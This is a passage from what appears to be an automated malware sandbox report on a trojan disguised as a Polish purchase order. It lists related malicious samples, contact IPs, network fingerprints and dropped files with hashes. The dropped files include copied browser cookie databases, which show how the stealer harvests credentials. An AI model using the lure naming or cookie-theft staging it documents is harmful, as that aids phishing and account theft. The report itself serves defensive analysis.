                                                      xc17rfFdOM.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      PROFOMA FACTURA 24012023_PDF.com.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      SOA.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      EFT_Receipts.htmGet hashmaliciousBrowse
                                                      • 173.231.16.76
                                                      Direct Deposit Processed 1242023.htmlGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      file0651.xlsmGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      VH3dPdX2xF.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      PAYMENT USD 1,059.2.xlsGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      xbg2Upk64H.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      qYg5340gEj.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      FNX Proforma Incoice No; INV 20231131003197231. 18.12.2022. SOA ref 202212234351972101.pdf.exeGet hashmaliciousBrowse
                                                      • 173.231.16.76
                                                      inq 0394511 JPG.exeGet hashmaliciousBrowse
                                                      • 173.231.16.76
                                                      HSBC PAYMENT.pdf.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      Quotation.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      Qoutation.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      Files pdf.htmlGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      enlluec.tkinq 0394511 JPG.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19

                                                      ASNs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                      NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdINinq 0394511 JPG.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      recibo de pago 00028384757767868 01172023.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      DEME DEKONTU 000284757757575756 01172023.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      copia de pago 000284857577688 01162023.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      ODEME BILGILENDIRME 000284857577688 01162023.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      XmjQYnQ0Kl.elfGet hashmaliciousBrowse
                                                      • 45.120.142.226
                                                      YyuAx70aQL.elfGet hashmaliciousBrowse
                                                      • 45.120.142.216
                                                      IMG-20221229-WA0012.jpg.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      Delivery Confirmation.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      mt4setup.exeGet hashmaliciousBrowse
                                                      • 103.26.205.122
                                                      SecuriteInfo.com.W32.GenKryptik.FYXW.tr.26324.25853.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      https://www.smore.com/rk3tfGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      mt4setup.exeGet hashmaliciousBrowse
                                                      • 103.26.205.122
                                                      https://gearsas.tk/Aza/quadGet hashmaliciousBrowse
                                                      • 103.83.194.50
                                                      PO 97594_JPG.vbsGet hashmaliciousBrowse
                                                      • 103.83.194.50
                                                      SWIFT.103_1873530473_PDF.vbsGet hashmaliciousBrowse
                                                      • 103.83.194.50
                                                      SWIFT.103_18735_PDF.vbsGet hashmaliciousBrowse
                                                      • 103.83.194.50
                                                      Offer 1049346 xlsx.vbsGet hashmaliciousBrowse
                                                      • 103.83.194.50
                                                      Packing list ASPL22-23-1504_jpg.vbsGet hashmaliciousBrowse
                                                      • 103.83.194.50
                                                      B8BuahzlPUGet hashmaliciousBrowse
                                                      • 168.81.254.154
                                                      UNIFIEDLAYER-AS-1USnew order 00029485886459966 dated 25012023.exeGet hashmaliciousBrowse
                                                      • 192.185.48.122
                                                      http://getyourbabysat.biz/came/index.html#jolette.l@greenmined.co.zaGet hashmaliciousBrowse
                                                      • 192.185.236.198
                                                      COMPUTATION DOC.exeGet hashmaliciousBrowse
                                                      • 74.220.199.6
                                                      Completed Signed Agreement.htmGet hashmaliciousBrowse
                                                      • 192.232.220.138
                                                      Direct Deposit Processed 1242023.htmlGet hashmaliciousBrowse
                                                      • 192.185.74.124
                                                      ACH Remittance.htmGet hashmaliciousBrowse
                                                      • 192.232.220.138
                                                      https://crownlandm.com/i/i/Get hashmaliciousBrowse
                                                      • 69.49.244.168
                                                      http://www.lartimista.com/Get hashmaliciousBrowse
                                                      • 69.49.230.239
                                                      Payapp L12217 updated January 24 2023 from Dell Pty Ltd.msgGet hashmaliciousBrowse
                                                      • 50.87.153.89
                                                      Inquiry.exeGet hashmaliciousBrowse
                                                      • 162.241.60.173
                                                      https://www.jycequipment.com/Get hashmaliciousBrowse
                                                      • 173.254.29.53
                                                      bineze.bin.exeGet hashmaliciousBrowse
                                                      • 162.241.217.45
                                                      Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                      • 192.185.154.201
                                                      Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                      • 192.185.154.201
                                                      400000.CasPol.bin.exeGet hashmaliciousBrowse
                                                      • 192.185.87.146
                                                      https://number77.s3.us-west-004.backblazeb2.com/index+(3).htmlGet hashmaliciousBrowse
                                                      • 69.49.229.176
                                                      SHIPPING DOC.exeGet hashmaliciousBrowse
                                                      • 50.87.139.143
                                                      Remittance&invoicing25817.htmlGet hashmaliciousBrowse
                                                      • 192.185.106.11
                                                      https://www.smore.com/93xgpGet hashmaliciousBrowse
                                                      • 69.49.244.168
                                                      ATT41212.htmGet hashmaliciousBrowse
                                                      • 50.87.145.227

                                                      JA3 Fingerprints

                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                      3b5074b1b5d032e5620f69f9f700ff0ePagamento01242023,jpg.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      PI_NBI-2250123(MECH)_pdf.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      LibreOffice-release.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      DHL Express Shipping DOC.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      FedEx Express Receipt_AWB#53053232004643.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      HEUR-Trojan.Win32.Crypt.gen-e026bc9a0b7ac31a8.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      PROFOMA FACTURA 24012023_PDF.com.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      SOA.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      QUOTATION.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      file0651.xlsmGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      VH3dPdX2xF.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      https://kevins-team-121.adalo.com/kevinGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      xbg2Upk64H.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      qYg5340gEj.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      FNX Proforma Incoice No; INV 20231131003197231. 18.12.2022. SOA ref 202212234351972101.pdf.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      inq 0394511 JPG.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      HSBC PAYMENT.pdf.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      Quotation.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      Qoutation.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      INVOICE10321.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      37f463bf4616ecd445d4a1937da06e19aw9Ynwqd1x.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      tPR99t7HF1.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      YrD1BC1bsf.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      D5BA7A1B36FD9BFDDC5F9AC2299F23632E21933F052B4.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      HEUR-Trojan.Win32.Crypt.gen-e026bc9a0b7ac31a8.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      E9387D76F1601429FE70F70A48B966F2EF98C5E07A612.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      ZVKooVE7gN.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      https://rise.articulate.com/share/oIPGqlcs4YAbJcrgqMshXod7_KpoUrxZ#/lessons/BiUk3l0uXFxpT9YJvNRZHEHdLBAIWErXGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      file.exeGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      #U25b6#Ufe0f#Ud83d#Udd18#U2500#U2500 #U266b Audio-0056secs.HTMGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      https://hicksronaldbown.com/Get hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      EFT_Receipts.htmGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      Completed Signed Agreement.htmGet hashmaliciousBrowse
                                                      • 103.83.194.19
                                                      Remittance Advice.htmGet hashmaliciousBrowse
                                                      • 103.83.194.19

                                                      Dropped Files

                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                      C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dllinq 0394511 JPG.exeGet hashmaliciousBrowse
                                                        inq 0394511 JPG.exeGet hashmaliciousBrowse
                                                          Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                            Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                              Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                                Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                                  Purchase order 3812_xls_.exe.exeGet hashmaliciousBrowse
                                                                    Scan_Doc.docx.exeGet hashmaliciousBrowse
                                                                      Scan_Doc.docx.exeGet hashmaliciousBrowse
                                                                        KoRdtkxn6c.exeGet hashmaliciousBrowse
                                                                          KoRdtkxn6c.exeGet hashmaliciousBrowse
                                                                            Jjfmcz1Hsz.exeGet hashmaliciousBrowse
                                                                              Jjfmcz1Hsz.exeGet hashmaliciousBrowse
                                                                                PmRXFyOFkf.exeGet hashmaliciousBrowse
                                                                                  PmRXFyOFkf.exeGet hashmaliciousBrowse
                                                                                    Lakeringernes (1).exeGet hashmaliciousBrowse
                                                                                      Lakeringernes (1).exeGet hashmaliciousBrowse
                                                                                        proforma.exeGet hashmaliciousBrowse
                                                                                          proforma.exeGet hashmaliciousBrowse

                                                                                            Created / dropped Files

                                                                                            C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):11264
                                                                                            Entropy (8bit):5.770803561213006
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
                                                                                            MD5:2AE993A2FFEC0C137EB51C8832691BCB
                                                                                            SHA1:98E0B37B7C14890F8A599F35678AF5E9435906E1
                                                                                            SHA-256:681382F3134DE5C6272A49DD13651C8C201B89C247B471191496E7335702FA59
                                                                                            SHA-512:2501371EB09C01746119305BA080F3B8C41E64535FF09CEE4F51322530366D0BD5322EA5290A466356598027E6CDA8AB360CAEF62DCAF560D630742E2DD9BCD9
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Joe Sandbox View:
                                                                                            • Filename: inq 0394511 JPG.exe, Detection: malicious, Browse
                                                                                            • Filename: inq 0394511 JPG.exe, Detection: malicious, Browse
                                                                                            • Filename: Purchase order 3812_xls_.exe.exe, Detection: malicious, Browse
                                                                                            • Filename: Purchase order 3812_xls_.exe.exe, Detection: malicious, Browse
                                                                                            • Filename: Purchase order 3812_xls_.exe.exe, Detection: malicious, Browse
                                                                                            • Filename: Purchase order 3812_xls_.exe.exe, Detection: malicious, Browse
                                                                                            • Filename: Purchase order 3812_xls_.exe.exe, Detection: malicious, Browse
                                                                                            • Filename: Scan_Doc.docx.exe, Detection: malicious, Browse
                                                                                            • Filename: Scan_Doc.docx.exe, Detection: malicious, Browse
                                                                                            • Filename: KoRdtkxn6c.exe, Detection: malicious, Browse
                                                                                            • Filename: KoRdtkxn6c.exe, Detection: malicious, Browse
                                                                                            • Filename: Jjfmcz1Hsz.exe, Detection: malicious, Browse
                                                                                            • Filename: Jjfmcz1Hsz.exe, Detection: malicious, Browse
                                                                                            • Filename: PmRXFyOFkf.exe, Detection: malicious, Browse
                                                                                            • Filename: PmRXFyOFkf.exe, Detection: malicious, Browse
                                                                                            • Filename: Lakeringernes (1).exe, Detection: malicious, Browse
                                                                                            • Filename: Lakeringernes (1).exe, Detection: malicious, Browse
                                                                                            • Filename: proforma.exe, Detection: malicious, Browse
                                                                                            • Filename: proforma.exe, Detection: malicious, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...tc.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\nsExec.dll

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):6656
                                                                                            Entropy (8bit):4.994861218233575
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
                                                                                            MD5:B648C78981C02C434D6A04D4422A6198
                                                                                            SHA1:74D99EED1EAE76C7F43454C01CDB7030E5772FC2
                                                                                            SHA-256:3E3D516D4F28948A474704D5DC9907DBE39E3B3F98E7299F536337278C59C5C9
                                                                                            SHA-512:219C88C0EF9FD6E3BE34C56D8458443E695BADD27861D74C486143306A94B8318E6593BF4DA81421E88E4539B238557DD4FE1F5BEDF3ECEC59727917099E90D2
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 2%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........d..7..7..7..7..7,..7..7..7..7..7..7Rich..7........PE..L...rc.W...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..,.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Roaming\0bpuok1y.lva\Chrome\Default\Cookies

                                                                                            Download File
                                                                                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3036000, file counter 36, database pages 24, 1st free page 14, free pages 11, cookie 0x5, schema 4, UTF-8, version-valid-for 36
                                                                                            Category:dropped
                                                                                            Size (bytes):98304
                                                                                            Entropy (8bit):2.9216957692876595
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:ST8XNcKu0iTwbAziYN570RMZXVuKnQM2V6ofbDO4xmTgZcZygSA2O9RVHfwrhhxV:JNcgiD5Q6luKQM2V7DXcAgSA2KD4jL
                                                                                            MD5:1A706D20E96086886B5D00D9698E09DF
                                                                                            SHA1:DACF81D90647457585345BEDD6DE222E83FDE01F
                                                                                            SHA-256:759F62B61AA65D6D5FAC95086B26D1D053CE1FB24A8A0537ACB42DDF45D2F19F
                                                                                            SHA-512:CFF7D42AA3B089759C5ACE934A098009D1A58111FE7D99AC7669B7F0A1C973907FD16A4DC1F37B5BE5252EC51B8D876511F4F6317583FA9CC48897B1B913C7F3
                                                                                            Malicious:false
                                                                                            Preview:SQLite format 3......@ ...$...................................................................$..S`.........g.....[.[.[................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Roaming\0bpuok1y.lva\Edge Chromium\Default\Cookies

                                                                                            Download File
                                                                                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 7, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 7
                                                                                            Category:dropped
                                                                                            Size (bytes):20480
                                                                                            Entropy (8bit):2.3172897780113213
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:oNwCz2C+NR73QOaq9kozeav2RT3VnnnekEEN9ORelnasL:ouZC+NJLaqe0LUTpnn1DN9OROnj
                                                                                            MD5:D5ECE7413F423743B368D55921D78C0A
                                                                                            SHA1:3F1E854E373FB2F9BFD868AF38AF5C6B3CD2A71D
                                                                                            SHA-256:D38D8A693CD4B718EA9E4995939262749893878EE9A0931BEB0F33781979FD77
                                                                                            SHA-512:F54CAB99D2795DF2D01E54D1E1184D116A56E8053140BAF868ADBFC7EE35EFBC59F83E3FF26C84E0D6D1A118BB79CAB82527F1502D328483953A0A58BEED8E0B
                                                                                            Malicious:false
                                                                                            Preview:SQLite format 3......@ ..........................................................................O}.........g.....8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Roaming\0bpuok1y.lva\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite

                                                                                            Download File
                                                                                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                            File Type:SQLite 3.x database, user version 12, last written using SQLite version 3036000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                                            Category:dropped
                                                                                            Size (bytes):98304
                                                                                            Entropy (8bit):0.08231524779339361
                                                                                            Encrypted:false
                                                                                            SSDEEP:12:DQANJfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQANJff32mNVpP965Ra8KN0MG/lO
                                                                                            MD5:886A5F9308577FDF19279AA582D0024D
                                                                                            SHA1:CDCCC11837CDDB657EB0EF6A01202451ECDF4992
                                                                                            SHA-256:BA7EB45B7E9B6990BC63BE63836B74FA2CCB64DCD0C199056B6AE37B1AE735F2
                                                                                            SHA-512:FF0692E52368708B36C161A4BFA91EE01CCA1B86F66666F7FC4979C6792D598FF7720A9FAF258F61439DAD61DB55C50D992E99769B1E4D321EC5B98230684BC5
                                                                                            Malicious:false
                                                                                            Preview:SQLite format 3......@ ..........................................................................S`.....}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\Pacifisterne\Automatcafeer\Nedrustningspolitikken\Dilemmaers146\Glasgaibleanir\Nodebilledet\Microsoft.Practices.Composite.UnityExtensions.dll

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):18048
                                                                                            Entropy (8bit):5.781710632242959
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:PDNDRvozv1hgXptjLrzs4AvgWOMrq0eMDI/:ZRvA4r77ARg/
                                                                                            MD5:270209B12F7C117C539F574CE2576C0A
                                                                                            SHA1:184B447F6364FA0760F862B84CBC6E717C9F5C3D
                                                                                            SHA-256:C5DB3358A184147D6FFB41F05BBF9BA9356038A0867A783F266EA62813EF6CF4
                                                                                            SHA-512:BB062EF832EB2B477D92FDF71C0B6B30AA590A735DEC1920400C3DA74EC07FF1F1DBF9E50E63EE2FDD68E9E48FC39F5522DFF0A029E47658A41F88EEC9FD250A
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...W..S.........." .....0............... .....@..... ....................................@...@......@............... ...............................`...............8..............dM............................................................... ..H............text...6.... ...0.................. ..`.rsrc........`.......2..............@..@.reloc...............8..............@..BH........*..\#..........`&........................................................{....*"..}....*..{....*"..(....*...0............}.....o......-.(....s....z.r...p..o......o....(.....(....-.(....s....z.r3..p..o.....(....o...+&.o.....r_..p..o.....o....&.o....&.o.....r...p..o.....o......,...(....o...+(....(.....r...p..o.....o.....r...p..o....*..(...(....(.....+...(....(.....,...(....(....*2.(....o...+*...0..%..........(.....o....o...+&.o......,..(.....o...+&.{....9......-...(.........(.

                                                                                            C:\Users\user\Pacifisterne\Automatcafeer\Nedrustningspolitikken\Dilemmaers146\Glasgaibleanir\Nodebilledet\Reinspired.Aut

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:ASCII text, with very long lines (50244), with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):50244
                                                                                            Entropy (8bit):3.999625167208849
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:4Kt0hO4obUZX9nvBHp7RJ+CqqSK0haV6RTFA9yu7m1HK0TWgKL383w6gW:81oq9nvjqqSiUu9yu7m1HzT4L38AhW
                                                                                            MD5:21337BAB1F65E60A88523B4DDB961E52
                                                                                            SHA1:AD9C448F53AB48C3110D25650BACFE44C1988D51
                                                                                            SHA-256:E2565D3B49D70ACDAD0AB4162BA0FBF738F227A0EC224982A813E874C46C0FCE
                                                                                            SHA-512:A6DAE16844C6A433AFF4EDE77F0E77984073CEC0E38D439B57144670EE0F4034BD5F2FFCB6647010F6717A7F39928A6F04E7F05BA9511745F38CF6A49891FFDA
                                                                                            Malicious:false
                                                                                            Preview:56E3E082070CC707B0B701B836A6FEDCB0D7E6E50989CF2DA81B4311EF928EBF02F09C7EB977BC9031BA864CC44F17929BE2524D78FC507F411DCBC91BE502D51D27CA45924DFC91765F6EB7845C91C0D665E583A8AD0203D0E4E6E6CD17355A6BEE2CB460D8FEE6D05422DDF5EE3A100E5B5DF7E16AF5EE06574C03F45CF5AB392237D86BD7BA856648AFC8934A58C5CB26436F55DDADFBBF10B9B4879334CB8EC34E3188C13AB624B5BD476E64AE8E29F5D01B1F4990A3C97BFCFF07D4B1C9164FF864EC64F66817B8CB32DEDF9FCDD8BFEA77F0E8FA2FF734E9693AB8DB0E567BF76D363F5446629BF43E8658F94A657CA3A4E1F8CBE2A0DF2079A857E95B935916B09270CBD505DC004B5398C830A48C5BEC0BF51F45B3CF8B5BB54C379E941830FBE112B9AA311E3DDCB33515B088213DF149B237AA4C2FDEF37D6456FA22C12527A4B8369506B1AD0523F47A8479C3F96173652E3E9D10BC37BBDA514166816FEB43067D30B2F3AF7514968878341027AC20B0A426E2E7C25DCBA0B6FED381151DDA1B09092FF33782B8325E6B87234F9652F4DB96B3783CDA3D515E98CEDAACDBA19D8B6F8900215829145E262A081177B80AA3834EDBFF2F96C95ED77E31546A6F59C87BE0A467B5CF31606F7D2E6453A34C7B7AF3DAFCFB71E6B5770C2B1BC25C472C3653338393230C4F9FFB4398AD

                                                                                            C:\Users\user\Pacifisterne\Automatcafeer\Seacross.Him

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):285823
                                                                                            Entropy (8bit):7.384888860358361
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:RPwTCrZk0BdcUdJ9bh2df3UvT1q3olHbVfvco8uKbtfEqL42V9oCWRtTT5sEgZOF:hTe00ykdvUvT1XGcofEmopbtlXF
                                                                                            MD5:6CD4A3E95E9C6BA051D63C5177522F4B
                                                                                            SHA1:38CBCD09C46F8637421F4D604C9C634A755D7EB0
                                                                                            SHA-256:98BBC8D8E0B70E12F3A2C541CA197D27FFBC4B25BEDB517E0C510A20F0EEAC17
                                                                                            SHA-512:E23F984A19945EB3A0595F5AB74D9C7D5EFDDC03B12CB376AAC4FF301B614619C7DB625387DCB8F9339F1F0EB148C329652FF9303FD053A74618E51CF8232116
                                                                                            Malicious:false
                                                                                            Preview:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                                                                            C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne\default.css

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:Unicode text, UTF-8 text
                                                                                            Category:dropped
                                                                                            Size (bytes):19729
                                                                                            Entropy (8bit):4.854870578875106
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:SfWIec2c8Fn9khSO774VZE+HDxYADgab6YDrvCEE5c:SfWpc8Fn9khSO3yZE+HFYADJv/E5c
                                                                                            MD5:A9006B652EBD39E033121BBAD1D45AC9
                                                                                            SHA1:A9A681BD5801984388334C85B8E09561A21913FF
                                                                                            SHA-256:E84FAFC9058C23AD27C2BE6BB8ED9CAC9AAC1744376330D53D7D531C1EA3EABE
                                                                                            SHA-512:0B2F899C1FB7030F5ACA15E4F23F250CC62D5014ECBAE0E5CE738F9172895AB82C2B93693F3A078EC3642B3549355E25DA16834A9714CCF8B33087ED3BACAF1B
                                                                                            Malicious:false
                                                                                            Preview:/*. * This file is part of the LibreOffice project.. *. * This Source Code Form is subject to the terms of the Mozilla Public. * License, v. 2.0. If a copy of the MPL was not distributed with this. * file, You can obtain one at http://mozilla.org/MPL/2.0/.. *. * This file incorporates work covered by the following license notice:. *. * Licensed to the Apache Software Foundation (ASF) under one or more. * contributor license agreements. See the NOTICE file distributed. * with this work for additional information regarding copyright. * ownership. The ASF licenses this file to you under the Apache. * License, Version 2.0 (the "License"); you may not use this file. * except in compliance with the License. You may obtain a copy of. * the License at http://www.apache.org/licenses/LICENSE-2.0 .. */./*.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+ LIBREOFFICE HELP IN BROWSER +.+ DEFAULT STYLE

                                                                                            C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne\network-cellular-signal-none-symbolic.svg

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:SVG Scalable Vector Graphics image
                                                                                            Category:dropped
                                                                                            Size (bytes):660
                                                                                            Entropy (8bit):4.929915592008811
